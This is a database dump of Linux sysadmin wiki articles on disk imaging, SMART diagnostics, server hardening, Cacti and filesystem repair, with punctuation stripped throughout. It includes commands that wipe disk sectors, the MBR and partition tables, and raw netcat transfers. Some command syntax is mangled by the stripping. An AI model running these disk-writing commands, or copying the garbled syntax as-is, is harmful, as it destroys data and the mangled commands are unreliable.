splunk fileserver tools splunk bin splunk start # ---- hard code full path and use sudo instead retval i may have had to do this as i had opt splunk symlinked to fileserver tools splunk and perhaps it couldn\'t read through the symlink correct if you symlink you might want to hard code the path too or experiment in this direction added coolness added coolness added coolness so how do you make it even more cool by adding the splunk toolbar plug in for firefox of course then you can just configure your hosts in the firefox toolbar and be able to search logs on any of your servers lickety split - though make sure you have lickety split 1 2 x installed first configuration configuration configuration so you like to play around with config files for stuff like this eh yea us too however read up on this first for splunk as it is a bit different firstly you will find the configs someplace like opt splunk etc bundles you might want to check out the readme directory there and read up in the admin guide at splunk com for more information on this note splunk 3 0 also allows you to search these config files using splunk itself yea cool command line command line command line access the command line tools via opt splunk bin splunk help opt splunk bin splunk help controls for example to start the web server opt splunk bin splunk start splunkweb '),(51,'bastille server hardening',' bastille how secure is your server while there is no single checklist analysis tool or script that will tell you the answer to this question a good place to start is bastille this free tool is available from this is a great tool to learn more about the areas that are commonly used to exploit systems and assist you in hardening your server the installation instruction are also there it is extremely easy to install but note it does require the perl-curses package to be installed to provide the interface used when run in the shell note as well you can run the x front end and use x forwarding to have this tool forward the gui to the system you are ssh\'ing in from however this may require you to install additional packages on your server it may be easier just to use the shell version it works pretty good analysis mode analysis mode analysis mode a description of this is available at once installed you can run bastille in analysis mode which will generate a txt and html report this is a great way to get a general overview and see where things stand this also provides descriptive information for each of the security points so you can learn more about the nuts and bolts of how that affects you bastille --report this is where to start - review this report and see which things may apply to you you may not need all of these things having a grub password for example is of limited value when your sever is secured in a data center and may just complicate support when you do need it one note the report gets put into var log bastille assessment just move the entire assessment folder to a site or your apache document root to view it you will likely need to chmod -r 744 assessment or 755 it also you will need to chown it to the proper user group for your environment once it is moved and permissions are set pull up the report in a browser and read away you can see what areas can be improved and how critical they are you also can see the overall raw score of how secure you are at the top of the report if you want to be fancy edit assessment assessment-report html to direct it to use the included graphic or use your own for the html challenged you want to include the image source so modify the assessment report like bastille hardening assessment report running bastille running bastille running bastille note is is very unwise to make some of the changes recommended without understanding the implication read the descriptions of what each change does the worst thing is to go through and enable everything with no thought given to how it might affect users etc you might want to run this in a non production environment and experiment with it first then use it on production servers there is an option to restore back to default settings but this should be a last resort scenario - don\'t count on this alone if needed you can revert the changes with bastille -r that said bastille is pretty cool just run it in shell mode with bastille -c it will walk you thorough step by step and provide information on a variety of security points and recomend actions to take the changes are made after you answer all the questions you can then re-run it in analysis mode and see how the score has changed there are additional options available in bastille including creating a config file to perform identical hardening on multiple server etc see the man page and site for more information '),(52,'acronis drive imaging',' what is it acronis can see ext3 filesystems fine and copy them and clone a drive if a drive is failing you may be able to save it unless the drive is too trashed it will read it despite the smart errors why not just use dd cause acronis is way faster also you can make an image and store it you can authenticate to a domain even and store it on a fileserver that one try that with ghost also ghost tends to suck when going from a larger to smaller drive when trying to copy a drive with errors etc using acronis using acronis using acronis the software itself is gui driven and very straight forward to use when the cd boots you select normal or safe mode the only difference is if raid support etc is enabled just use normal to copy a drive you can use acronis true image boot cd 1 hook up a secondary drive on the second ide channel 1a you might want to erase all partitions from this drive before using acronis so it and you see it as blank - just to ensure you choose the right source drive you can erase them by pxe booting typing linux at the first prompt and using the linux boot environment log in with root then use fdisk dev hdx to delete the partitions etc 2 leave the drives hooked up - one on each ide channel 3 boot to the acronis cd 4 you can choose safe or normal mode - won\'t make a difference just use normal 5 the gui is very straight forward choose the options to close copy the entire drive 6 note acronis may hang up for a long time - 10 or 15 and seem like it is not doing anything when it goes to start the copy operation just leave it alone eventually it will fire up and clone the entire disk depending on the amount of data to copy this may take from about 1 - 2 hours it may take less as well once it actually starts you should be able to monitor the progress in the gui if it fails you can still copy the drive using linux boot to ubuntu or to the pxe linux environment and use dd #dd if dev hda of dev hdb grub repair grub repair grub repair you may get a message that the mbr could not be copied and that the target drive will not be bootable you can take these steps to repair grub grub repair a boot into the linux live environment pxe knoppix whatver b run the grub command c type root hd0 0 setup hd0 quit that should fix grub so that it will boot if that does not work you can try using supergrub from the primary pxe boot menu if is input file of is output file - for whatever the drives are fdisk -l will tell you '),(53,'wiki formatting - wiki markup notes',' links to intra wiki article articlename font color important general formatting tables border 1 cellpadding 1 manufacturer - latest bios ver - manufacturer - pxe boots - max cpu specs - type - speed - memory type - memory speed - supports ecc - ranks supported - number ide controllers - number of sata controllers - rnic type - vendor url - bios urls - '),(54,'smart drive diagnostics',' intro all hard drives will eventually fail they are electro-mechanical devices with bearings motors and an armature that moves around a lot the amazing thing is they last as long as they do you should always backup your server server\'s sites or critical information this is extremely easy to do smart allows you to have a good degree of prediction on when the drive will reach its end of life using this just may save you from a catastrophe drive salvage drive salvage drive salvage it is far easier to attempt to copy a drive transfer information from it etc prior to a total drive failure at that point you may be looking at 1 500 to 3 000 for data recovery if you can predict this from occurring so much the better smart drive analysis smart drive analysis smart drive analysis hard drives allow you to monitor various critical attributes which can indicate future drive failure there is a lot of information available on this subject and some of it is rather difficult to decipher for simple application smartclt is the primary command to analyze overall drive health this is installed as yum install smartmontools the official site for this tool is which has information and documentation in order to activate smart on a device use smartctl -s on dev sda note that even if smart is disabled in bios this will activate it on the drive - it is not necessary to also have it on in bios usage is pretty straight forward for example smartctl -a dev sda or dev hda etc as applicable which would return results similar to the following start of information section start of information section start of information section device model wdc wd800bb-00caa1 serial number wd-wma8e4070296 firmware version 17 07w17 user capacity 80 026 361 856 bytes device is in smartctl database for details use -p show ata version is 5 ata standard is exact ata specification draft version not indicated local time is tue dec 18 14 01 28 2007 est smart support is available - device has smart capability smart support is enabled start of read smart data section start of read smart data section start of read smart data section smart overall-health self-assessment test result passed here you can see general information about the drive characteristics and the overall smart health assessment passed however this passed value is based on analysis of the smart attributes described below if one or more of the below attributes passes a manufacturer pre-determined value this changes to fail you should be able to predict this failure well ahead of this value changing to fail - that is what this is all about analyzing smart attributes analyzing smart attributes analyzing smart attributes the is where the intelligent interpretation comes in smartctl -a will return the values of all the criteria monitored by that hard drive manufacturers vary in the specific attributes they support and how they are calculated primary attributes then to be fairly universal though some are more important that others some are general information some are directly related to drive health and life expectancy for example smartctl -a displays id# attribute_name flag value worst thresh type updated when_failed raw_value 1 raw_read_error_rate 0x000b 200 200 051 pre-fail always - 0 3 spin_up_time 0x0007 112 095 021 pre-fail always - 3491 4 start_stop_count 0x0032 100 100 040 old_age always - 177 5 reallocated_sector_ct 0x0033 200 200 140 pre-fail always - 0 7 seek_error_rate 0x000b 200 200 051 pre-fail always - 0 9 power_on_hours 0x0032 050 050 000 old_age always - 36913 10 spin_retry_count 0x0013 100 100 051 pre-fail always - 1 11 calibration_retry_count 0x0013 100 100 051 pre-fail always - 0 12 power_cycle_count 0x0032 100 100 000 old_age always - 156 196 reallocated_event_count 0x0032 200 200 000 old_age always - 0 197 current_pending_sector 0x0012 200 200 000 old_age always - 0 198 offline_uncorrectable 0x0012 200 200 000 old_age always - 0 199 udma_crc_error_count 0x000a 200 253 000 old_age always - 0 200 multi_zone_error_rate 0x0009 200 200 051 pre-fail offline - 0 smart error log version 1 no errors logged now of the above the truly vital attributes to look at are ones such as 9 power_on_hours 0x0032 050 050 000 old_age always - 36913 drive life there are 8 760 hours in a year five years is 43 800 most drive warranties are good for 2 to 5 years in the real world drives over 30 000 to 40 000 are approaching end of life if you see a drive with 30 000 hours and it has other issues it is just time to replace it however this is much a matter of opinion - it could run to 50 000 hours you have to look at the whole picture mtfb one often hears about mean time between failure ratings between failure figures of 200 000 to 500 000 to over a million hours may be quoted by a manufacturer these figures are essentially meaningless let let\'s see one ide drive that has run for 57 years just one that that\'s 500 000 hours 5 reallocated_sector_ct 0x0033 200 200 140 pre-fail always - 0 197 current_pending_sector 0x0012 200 200 000 old_age always - 0 these indicate sectors which have been designated bad and have been or are being moved to good ones it is not uncommon for a drive to have some bad sectors over its life in this case if there are 140 reallocated sectors or more 140 is the threshold value then smart is going to say failure is immanent analyzing smart attributes - scsi analyzing smart attributes - scsi analyzing smart attributes - scsi smartctl documentation for scsi drives can be found at scsi error logs are quite different from ida & sata look under the total uncorrected error column for significant errors also non-media error count can be a guide however this number can be a bit nebulous the total uncorrected errors column is something to watch errors here can indicate poor drive health see sourceforge net above for more info note some newer scsi drives support background scanning currently the scsi drives in the ibms and dell 2850s do not support this i do not know about the sas drives in the newer servers if supported this scan can be started with smartctl --log background scsi sense codes are reported in drive error messages such as 6708 72410001 002a9858 0 7 scsi disk check condition on disk 0 6 5 0 read of logical block 509856 count 128 disk sd45a block 254920 65536 bytes valid 1 error code 0x70 segment number 0x00 filemark 0 eom 0 ili 0 sense key 0x1 recovered error information 0x00 0x07 0xc7 0xe4 additional info on scsi sense codes can be found here smart test smart test smart test you can run a smart test on the drive without taking the server off-line while these tests are not the end-all dignostic they are another layer of analyses and as they don\'t involve down time are a good place to start smartctl -t long dev sda when complete you will see the results in the smart information smart self-test log structure revision number 1 num test_description status remaining lifetime hours lba_of_first_error # 1 short offline completed without error 00 137 - # 2 conveyance offline completed without error 00 738 - # 3 conveyance offline completed without error 00 964 - cpanel smart error reports cpanel smart error reports cpanel smart error reports cpanel will notify you of smart errors however it just reporting it can\'t really tell what is going on thus you can get notifications such as the command that cpanel ran polls the drive for any errors which have occurred on the drive at any time the result show root server admin # usr sbin smartctl -q errorsonly -h -l selftest -l error dev sda please note the following marginal attributes id# attribute_name flag value worst thresh type updated when_failed raw_value 203 run_out_cancel 0x000b 253 139 180 pre-fail always in_the_past 0 as stated these are errors that have occured at any time these errors may have been from 2 years ago etc you can execute the same command cpanel used in the shell for example usr sbin smartctl -q errorsonly -h -l selftest -l error dev sda in this case three values are given 253 139 180 at one point this attribute run_out_cancel which is the number of eec errors dipped to 139 worst value - however its current value is 253 this is as good as that value gets if it was to get and stay less than 180 threshold the drive would be considered bad scripts scripts scripts usr local etc smartd conf settings for smartd which controls monitoring there are example scripts included with smartmontools these are usually located in a location like usr share doc smartmontools-5 33 examplescripts see the readme for more information there are many other scripts you can find on line people have developed to run as cron jobs etc and watch attributes sending notification when criteria are met etc resources resources resources here are some good sites with additional information good introduction article by the developer for smartctl bruce allen professor of physics at the university of wisconsin - milwaukee definitions for the smart attributes definitions for the smart attributes more good article on what the threshold values mean and how these three sets of figures work gnome disk utility needs glibc2 7 - very handy graphical drive smart tool white papers white paper on disk imaging smart etc white paper on drive duplication forensics paper on reliability of hard drive '),(58,'mirroring hard drives and partitions',' this page was taken from the original author on that page is seb wills backing up hard disks and hard disk partitions notes on backing up entire hard disks or partitions it it\'s often useful to make an image of either an entire hard disk or an entire partition one reason is to duplicate an installed system onto another pc probably over a network connection ; another is to make a backup of your complete hard disk including every aspect of the installed operating systems which you can restore if you have to replace your hard disk or if you screw things up typically it it\'s useful to be able to transfer these images over the network to another machine although you may want to save images onto a different partition or hard disk commercial tools to do this job include norton ghost acronis trueimage which now seems to have overtaken ghost in usefulness and driveimage which i believe can\'t save over the network nowadays these tools are quite sophisticated and can even work from within windows on mounted filesystems and do incremental block-level backups there is a open source linux program called partimage which is similar to ghost but i prefer to make backups using basic tools which i know will always be to hand and in a pure format which i understand my preferred solution in some situations is to use raw linux commands the backup technique uses linux but you don\'t have to have linux installed on your computer to do this and you can use this technique to backup partitions containing any filesystem important note i can offer no guarantees whatsoever that the methods detailed on this page are correct or reliable i\'ve used them on a few occasions without problems but i have not exhaustively tested this method and it could be that in some situations it does not perform as expected also these instructions are designed to give pointers and suggestions they do not comprise step-by-step instructions which you can blindly follow without understanding them many of the commands described here are very likely to trash the contents of your hard disk if you don\'t understand them properly use at your own risk copying partitions under linux when making an image of a disk partition you don\'t want the drive contents changing under you so the partition s must be either unmounted or mounted read-only the latter possibility means that you can probably drop down to single-user mode and remount essential partitions read-only in order to backup a linux system if you do this make sure you have a way of restoring the backup which doesn\'t depend on already having the os installed a more general method is to boot from cdrom into linux without using the hard disk at all for example using knoppix it it\'s brilliant at autodetecting hardware once you have a linux running the basic technique is to use the dd command to read the hard disk device or one of its partitions the output of dd can be written to a file perhaps to an external hard disk you have mounted or piped over the network to another instance of dd on a remote machine note that there is a neater way of backing up ntfs partitions see below example dd if dev hda1 bs 1k conv sync noerror gzip -c ssh -c blowfish user hostname dd of filename gz bs 1k this instructs dd to read the contents of dev hda1 the first partition conv sync noerror tells dd that if it can\'t read a block due to a read error then it should at least write something to its output of the correct length even if your hard disk exhibits no errors remember that dd will read every single block including any blocks which the os avoids using because it has marked them as bad so don\'t be too surprised if dd seems to struggle to read some blocks but see the next section for a better way of handling this situation bs 1k sets the block size to be 1k i\'m not quite sure what the optimal value is but it needs to be no larger the the block size for the disk otherwise a bad block may mask the contents of a good one 1k is a safe bet in the above example the output of dd is piped through gzip to compress it we then pipe the compressed data stream over an ssh connection to another linux machine which may also be running knoppix - see knoppix notes below if you wanted to write straight to a local file you could either just add of filename to the first dd command to write an uncompressed image or if you want to compress it just redirect the output of the gzip to a filename continuing with our explanation the -c blowfish option to ssh selects blowfish encryption which is much faster useful since we\'re sending tons of data than the default finally another dd command is invoked on the remote machine to read the data stream and write it to a file there alternatively you could pipe it through gunzip -c and write it straight to a partition on the remote machine instead of to a file note that as long as its not compressed you should be able to mount a file containing a single partition partition\'s image using a loopback device in linux with a little more jiggery-pokery to find the correct offset you can also mount partitions within a whole-disk image; see here what to do if the disk is damaged and dd takes forever tobias wolf pointed out dd_rescue which deals a lot better with bad blocks than plain dd a useful helper script to dd_rescue is dd_rhelp which postpones re-reading bad blocks to the very end because it can be a struggle to retreive something from them steve holmes reports that dd with conv sync noerror doesn\'t correctly image disks with lvm2 logical volumes i haven\'t investigated this he also points out gnu ddrescue not the same as dd_rescue mentioned above which looks useful according to steve ddrescue works finewith lvm2 and some people seem to suggest it it\'s generally superior to dd_rescue restoring partitions the restore procedure is fairly similar for example on the machine with the image on it you might do something like dd if filename gz ssh -c blowfish root deadhost gunzip -c dd of dev hda1 bs 1k this assumes you have linux e g knoppix running on the target machine with an ssh server running see \'knoppix tips below note that you should not include conv sync noerror in the restore dd - doing so can in certain situations corrupt the data being written since it instructs dd not to wait for more data to arrive from the network or filesystem if a whole block isn\'t available the partition needs to already exist before you do this and needs to be large enough to take all the data if it it\'s too big that doesn\'t matter you\'ll just be wasting space at the end you should then be able to grow the filesystem to fill that extra space for ext2 filesystems try using the ext2resize tool you may also be able to persuade the partition editing tool parted to do this since it can handle resizing most filesystems copying an entire hard disk you can simply use dev hda as the source target to backup restore an entire hard disk image including partition table mbr and all partitions this will certainly work if the hard disk being written to is identical to the one the image was made from i think it will generally also work in other situations as long as the destination disk is larger than the source i\'m not 100 sure that this is always true - partition table entries do contain information in c h s i e disk geometry dependent units which may be used by the boot loader even if the os uses lba links to some gory details about partition table formats are at the end of this page if you do make an image of a whole disk i strongly recommend that you also store extra information about the drive geometry which is necessary in order to interpret the partition table stored within the image should you need to do that the most important thing is the cylinder size best thing is just to grab a copy of the information fdisk can tell us fdisk -l dev hda > hda_fdisk_information keep that file with the image for good measure why not get the same information as sfdisk displays it sfdisk -d dev hda > hda_sfdisk_information knoppix tips to become root in knoppix just use sudo su - if you are using knoppix as a destination machine in one of these examples you\'ll need to start up its ssh server a command to do so is on the kde menus; otherwise etc init d sshd start as root should do the trick you\'ll then need to set a password for root so you can login remotely sudo passwd root knoppix tries to acquire an ip address by dhcp so if you have a dhcp server on your network you can just find out the ip addresses of the machines e g with ifconfig and use those in place of hostnames in the ssh commands if you don\'t have a dhcp server running on your network or you\'re connected two machines directly together by crossover cable you should be able to manually assign ip addresses using something like ifconfig eth0 192 168 x y reducing the storage space required one of the disadvantages of the dd method over software specifically designed for the job such as ghost or partimage is that dd will store the entire partition including blocks not currently used to store files whereas the likes of ghost understand the filesystem and don\'t store these unallocated blocks the overhead isn\'t too bad as long as you compress the image and the unallocated blocks have low entropy in general this will not be the case because the emtpy blocks will containing random junk from bygone files to rectify this it it\'s best to blank all unused blocks before making the image after doing that the unallocated blocks will contain mostly zeros and will therefore compress down to almost nothing a slightly clunky way to do this is to mount the partition then create a file of zeros which fills the entire disk then delete it again e g dd if dev zero of delme bs 8m; rm delme it it\'s worth doing this regardless of the type of filesystem in use but don\'t do it if you suspect the filesystem may be corrupt as you\'ll lose the ability to \'recover\' lost files at the time of writing there is no reliable write support in the linux ntfs drivers so you won\'t be able to use this zeroing technique on an ntfs partition however ther are other ways see below of efficiently backing up ntfs partitions backing up the mbr master boot record if you save copies of some or all of your partitions individually and want to be able to use them to restore a working system you\'ll also need to backup and restore the mbr and partition table the same caveats apply as discussed above about whether partition tables can be restored onto a disk of a different size backing up the mbr dd if dev hda of backup-of-hda-mbr count 1 bs 512 this stores the first 512 bytes of the disk contianing the mbr and the primary partition info - i e the first four primary entries into the file bcakup-of-hda-mbr which you can then copy to somewhere safe to restore be careful - this could destroy your existing partition table and with it access to all data on the disk dd if backup-of-hda-mbr of dev hda if you only want to restore the actual mbr code and not the primary partition table entires just restore the first 446 bytes dd of dev hda if backup-of-hda-mbr bs 446 count 1 those first 512 bytes are 446 bytes of mbr then 64 bytes of primary partition table backing up the extended partition table sfdisk -d dev hda > backup-hda sfdisk sfdisk is in the util-linux package i think it it\'s in knoppix restore ditto the above warning sfdisk dev hda < backup-hda sfdisk then reboot i also recommend making a record of the partition table details as displayed in whatever disk partitioning program you like to use and also as displayed by fdisk -l could be handy if you find yourself needing to repartition the disk by hand in preparation for restoring some images of individual partitions linux swap partitions somebody asked me how a linux system knows which partitions to use as swap partitions - this is of course an issue if you\'re restoring a linux partition to a new disk and need to re-create the swap partition for it the answer is that the swap partition should be listed in etc fstab e g # <file system> <mount point> <type> <options> <dump> <pass> dev hda6 none swap sw 0 0 during bootup one of the init scripts runs swapon -a which activates all swap partitions listed in etc fstab i imagine that if a swap partition listed in etc fstab isn\'t actually found to be of the correct partition type or isn\'t initialised then the system will ignore it so it should be safe to boot the restored system even if the swap partition information in etc fstab is incorrect and then amend it to point to a swap partition you\'ve created and run swapon -a backing up and restoring ntfs partitions the ntfsclone program from the linux ntfs tools can efficiently clone and restore ntfs partitions without storing the unused space you can either create a sparse file if saving an image to a filesystem which supports sparse files which will appear to have the size of the whole filesystem but will only take up about us much disk space as the used parts of the ntfs filesystem or you can create a special image file which only contains the used blocks and which ntfsclone can restore later if needed alternative to ssh if you\'re on a trusted network you might think it silly to go to trouble of encrypting and unencrypting all that data with ssh yet these days your machines are probably not configured to allow rsh connections nc a k a netcat is one option here it just sends raw streams of data across a network on the destination machine you could run nc -l -p 10001 > imagefile to start a process which will listen on tcp port 10001 and dump everthing it receives from the first thing to connect to it to imagefile then on the source machine pipe the output of dd or gz or whatever to nc remote 10001 where remote is the name or ip address of the destination machine file-level backup techniques backing up entire partitions or disks is most useful when replacating systems across hard disks or when backing up partitions containing operating systems which are otherwise hard to fully backup for more every-day backups of your data a file-level method is more appropriate here are some handy tools for doing backups over a network to a remote machine in various clever ways rsync unison rdiff-backup duplicity random technical details anders lennartsson sent me this information which doesn\'t directly affect any of the above notes but could be useful to know if trying to reconstruct partition tables by hand or whatnot sectors on harddrives normally have 512 bytes each to find out how many sectors there are in one partition one can use for instance cfdisk after changing the units by typing a u cfdisk reports the number of such sectors however for obscure historic reasons the partition data doesn\'t start until sector 64 thus the numbers of sectors obtained by dd when specifying for instance if dev hda1 is the number of sectors seen in cfdisk for this partition minus 63 i don\'t remember exactly how linux fdisk does report the numbers page about recovering disks containing ext2 filesystems when you don\'t know the partition table details on how partition tables are stored here and here program which tries to find partitions even if partition table is damaged testdisk mounting partitions within an image of a whole disk using loopback devices in linux seb wills february 2004 last amended october 2006 feedback welcome '),(55,'linux security',' padlock center there are a number of excellent tools available to assist you in securing your sever and eliminating or mitigating risks the tools in this section are fairly easy to use and will assist you in hardening your server or allowing for easy server security monitoring also see the section on firewalls for an essential security layer you will most certainly want to implement bastille server hardening perform a security assessment and determine where your weak points are address them with bastille which runs in either a shell or graphical interface through x forwarding and walks you through various settings this is a great educational tool as you do not have to commit any changes until you fully understand them and the implications splunk log analyzer wouldn\'t it be nice if there was a web base interface that allowed you to google your system logs how about if there was a firfox plug in for this tool that allowed you to easily connect to a server and view those logs with just by typing in the ip how about have a time line graph of log activity you can zoom in and out on your dreams are now a reality with splunk available from this is a fantastic too and puts your system logs at your finger tips in a completely searchable format search for an ip address or activity through various logs with near instant results installation is a breeze too think of the power port knocking allows you to grant access for ssh and other services by using a predefined sequence of tcp or udp requests to ports these ports need not be open as the port knocking daemon runs on the link layer and will receive the request regardless of the status of the port traditional port knocking using a preset sequence of ports and single packet authentication where a single encrypted packet is sent can be used login monitoring monitor failed login attempts and take actions in response to block threats numerous methods exist each with beneficial and negative implications tools like fail2ban can be used to monitor for failed ssh ftp etc log in attempts and then block the offending ips etc '),(56,'camelot',' '),(57,'padlock',' '),(59,'cacti installation',' cacti center cacti is a complete frontend to rrdtool it stores all of the necessary information to create graphs and populate them with data in a mysql database the frontend is completely php driven along with being able to maintain graphs data sources and round robin archives in a database cacti handles the data gathering there is also snmp support for those used to creating traffic graphs with mrtg from the official site at install instructions are at install notes the rpm will install the base system but you will have to follow the instructions to create the mysql database database user and password etc i moved the folder from default var www to a vhost directory note that cacti creates this apache config file too # vi etc httpd conf d cacti conf for some reason this was set to deny all first and then only allow localhost apache error log reported sat feb 09 11 52 01 2008 error client 72 184 142 174 client denied by server configuration home sites www timelordz com web cacti modified it to be alias cacti home sites www timelordz com web cacti directoryindex index php options -indexes allowoverride all order deny allow allow from all allow from 127 0 0 1 addtype application x-httpd-php php php_flag magic_quotes_gpc on php_flag track_vars on the rpm install will create a user cacti you must set permissions on a few folders in the cacti directory to be owned by this user #chown -r cacti cacti rra log to set up the polling process to run every 05 edit crontab -e and add 5 cacti php home sites www timelordz com web cacti poller php dev null 2 &1 with the full path to you poller php this did not work for me it would not run as cacti so i ran it as root - but make sure you chown the files is rra and log to cacti cacti after this runs the first time other with cacti can\'t read them 5 usr local bin php home sites www timelordz com web cacti poller php dev null 2 &1 the default login is admin admin which you must change at first login database config settings can be found in cacti include config php don\'t forget to make the mysql password in this file match what you set it to when you followed the database creation steps in install snmp configuration snmp configuration snmp configuration forward port udp 161 on router for snmp traffic install snmp package on client sample snmpd conf com2sec notconfiguser default communitypassword group notconfiggroup v1 notconfiguser group notconfiggroup v2c notconfiguser view all included 1 access notconfiggroup any noauth exact all none none view all included 1 start snmpd on the client etc init d snmpd start testing snmp connectivity root tardis # snmpwalk -c communitypassword -v1 home timelordz com '),(60,'cacti',' '),(61,'repairing corrupted file systems',' please place additional tools and tips for file system repair here intro intro intro at times one encounters file systems that despite best efforts will not clean properly despite multiple fscks when rebooted the system will report them as dirty again and often hang up or be unstable in these cases we usually end up doing a reinstall this is bad as it a costs us significant time though the os reinstall is fast that is just the tip of the iceberg we then almost inevitably become involved in reconfiguring the guys server dns sites reinstalling apps etc etc ad nauseum of course often the customer insists on not paying as well even better b often the client does not have recent backups then we spend more time extracting them from the corrupted primary c the reinstall restoring backups etc keeps the customer down - often for 24 hours or even more wouldn\'t it be nice if we could just fix it instead and not have to spend hours importing and configuring everything again here are some tools to help do this ctrl d to reboot ctrl d to reboot ctrl d to reboot when the file system is corrupted and is not repaired automatically you get the enter root password or control d to reboot message of course you have probably already tried cleaning the file system in single user mode and are still getting this one trick is to use the sysrequest tool this has been active on all centos installs for a bit now at that prompt hit ctrl-atl-sysrq same as print screen and then while holding those three hit e to terminate running processes and if needed i to kill them this will more than likely dump you to a login prompt of course things will likely not be mounted and services will be off but you just might be able to get things running by manually mounting and starting things this of course is just first aid to get it back up immediately it is not a complete fix partition copy and nuke it from above partition copy and nuke it from above partition copy and nuke it from above this is advanced support and should be billed at 60 hour although this takes an hour or two this is little compared to the many hours that get spent directly and indirectly otherwise clonezilla livecd has worked in fixing this issue it uses partimaged etc to perform partition and drive imaging locally and to remote server it is file system aware will not copy empty space and is way way faster than dd you could also try acronis drive imaging too i have been able to repair an otherwise unrepairable partition by a mirroring the original drive optional really but don\'t screw up otherwise i would not recommend dd for this - it is way to slow try acronis or clonezilla especially with the large 320gb and 500gb drive dd just takes too long and for this phase there may be no benefit in using it b using the new mirrored original as the source copy the entire partition table to another blank drive #sfdixk -d dev sda partitions txt #sfdisk dev sdb partitions txt copying the entire table is the way to go if you just make a single partition manually on the secondary drive even if it has exactly the same number of blocks start and end cylinders etc you may run into the source and destination partitions being recognized as different sizes this may be do the way the extended partitions are mapped vs just making one partition of a certain size by itself etc c use clonezilla to copy the corrupt partition s from the source drive to the matching empty partition s on the destination drive it it\'s a livecd and has a gui it is a no brainer this does not take long at all using clonezilla as empty space is not copied d run an fsck on the partition s on the destination drive this should actually fix them e mount them and ensure the copy was successful f reformat the corrupt partition s on the source drive g use clonezilla and copy the fsck\'ed repaired partitions back over the the reformatted partitions on the source drive this is were you may get errors of incorrect size if you didn\'t create the entire partition table on the destination h disconnect the secondary drive and reboot cross your fingers it just might work '),(62,'clonezilla',' clonezilla clonezilla livecd is available at it uses partimaged etc to perform partition and drive imaging locally and to remote server it is file system aware will not copy empty space and is way way faster than dd you could also try acronis drive imaging too the latest experimental version seems pretty stable and is based on ubuntu hardy support for resizing partitions is built in it runs in a console gui and is very straightforward so far it has proven very effective in imaging drives and partitions it will also copy grub over to the target so you don\'t have to repair grub separately using this to repair partitions can be found at repairing corrupted file systems setting up a pxe clonezilla guide ocs and partimage ocs and partimage ocs and partimage as with any ubuntu you can change the root password with #sudo passwd once this is done the path will be set and you will be able to more easily run the two primary tools that make up the body of clonezilla #ocs this will run the opensource clone system #partimage runs a nifty partition imaging tool you can find more information on it at which is described there as description partimage is a linux utility which saves partitions having a supported filesystem to an image file most linux and windows filesystems are supported the image file can be compressed with the gzip bzip2 programs to save disk space and they can be splitted into multiple files to be copied on cds dvds partitions can also be saved across the network since version 0 6 0 using the partimage network support or using samba nfs etherboot etherboot etherboot the boot screen includes an option to boot using etherboot - great way to get a non-pxe booting system to boot to the network '),(63,'smart rewriting bad sectors',' introduction want to know how to find what file is associated with a sector and what inode it has how do you get rid of those pending sector errors that smartd reports when they never seem to go away what the hell is a pending sector anyway there are two primary means of discovering the specific bad sector s on a drive using smart you may want to attempt to write to that specific sector on a drive or determine what file on that sector is possibly corrupt etc if you determine the file you can attempt to move it and nuke the sector from orbit this article was written as a summation of how to do this it is based heavily on these two articles but is a condensation of that information for more information on smart in general see the article smart drive monitoring smart attributes pending sectors smart attributes pending sectors smart attributes pending sectors if a read error occurs on a sector the error is recorded in the smart log and the sector is marked pending in the attribute list it will remain pending until a failed write operation at witch time it will be reallocated the pending sectors can generate error messages etc you can force write to them and reallocate them however if you do it will nuke the file in that sector hummm a conundrum the sector number of the last read errors will be given in the error section of the smart logs for example error 3 occurred at disk power-on lifetime 14511 hours 604 days 15 hours when the command that caused the error occurred the device was doing smart offline or self-test after command completion occurred registers were er st sc sn cl ch dh -- -- -- -- -- -- -- 40 51 08 48 b8 e2 e0 error unc 8 sectors at lba 0x00e2b848 14858312 some drives will only give the value in hex you would then have to convert it to decimal the error log only shows the last five errors it may contain the same or different sector numbers if it only contains one sector yet the attribute list shows more than one you will most likely have to repair the first one then run a smart read test rinse and repeat other errors beside read error get recorded too so if none is given here examine the smart read test results smart read test failure smart read test failure smart read test failure another method of locating the bad sector number is to run a smart read test short or extended with smartctl if it fails it will report the sector number you can run either of these tests while the server is up unless the server has a very high i o it will not affect performance the command to run the test is #smartctl -t short dev hda upon completion check the smart log section on test results and you will see entries giving the bad sectorsuch as smart self-test log structure revision number 1 num test_description status remaining lifetime hours lba_of_first_error # 1 short offline completed read failure 10 14577 232962120 # 2 short offline completed read failure 10 14504 232962120 # 3 conveyance offline completed without error 00 1501 - calculating the file system sector calculating the file system sector calculating the file system sector because sectors are logical on the drive logical block addressing lba you need to convert between lba and physical file system sectors this is pretty easy to do first - get a table of the start and end sectors of the partition table root 207-150-166-140 # fdisk -lu dev hda disk dev hda 120 0 gb 120034123776 bytes 255 heads 63 sectors track 14593 cylinders total 234441648 sectors units sectors of 1 512 512 bytes device boot start end blocks id system dev hda1 63 208844 104391 83 linux dev hda2 208845 4401809 2096482 83 linux dev hda3 4401810 8482319 2040255 82 linux swap dev hda4 8482320 234436544 112977112 5 extended dev hda5 8482383 29447144 10482381 83 linux dev hda6 29447208 50411969 10482381 83 linux dev hda7 50412033 52516484 1052226 83 linux dev hda8 52516548 234436544 90959998 83 linux use this to determine what partition the bad sector is in in this case 232962120 is inside the start and end values for dev hda5 note this is in partition 5 - ignore partition 4 as it is the extended partition any block from partitions 5 through 8 will also be in partition 4 but you want the real partition not the extended partition next calculate the file system block using the formula b int l-s 512 b where b file system block number b file system block size in bytes almost always is 4096 l lba of bad sector s starting sector of partition as shown by fdisk -lu and int denotes the integer part for example the reported sector from the smart log above is 232962120 thus 14858312 - 8482383 512 4096 796991 125 bad sec start sec cha ching this is the sector use the block number from the smart test section not from the smart error log section they are using different methods of reporting file system vs physical blocks badblock - startpartition 512 4096 you can just paste this into google as a template any fraction left indicates the problem sector is in the mid or latter part of the block which contains a number of sectors ignore the fraction and just use the integer next use debugfs to locate the inode and then file associated with that sector root home # debugfs debugfs 1 35 28-feb-2004 debugfs open dev hda5 debugfs icheck 796991 block inode number 796991 debugfs quit ah it didn\'t give the inode it if did you could have found the file with root home # debugfs debugfs 1 35 28-feb-2004 debugfs open dev hda5 debugfs icheck 796991 block inode number 796991 41032 debugfs ncheck 41032 inode pathname 41032 s1 r h 714197568-714203359 h-r-714202192-16 gwf so what the heck why no inode well remember how it said the sector might be bad banishing evil sectors banishing evil sectors banishing evil sectors if you want to check it with a read test try dd if dev hda5 of my block skip 796991 bs 4096 count 1 if it gives an error then you know for sure it is bad as far as i know that sector is toast at this point if you want to force a write to it destroying the data in it use dd if dev zero of dev hda5 bs 4096 count 1 seek 796991 sync that sector should no 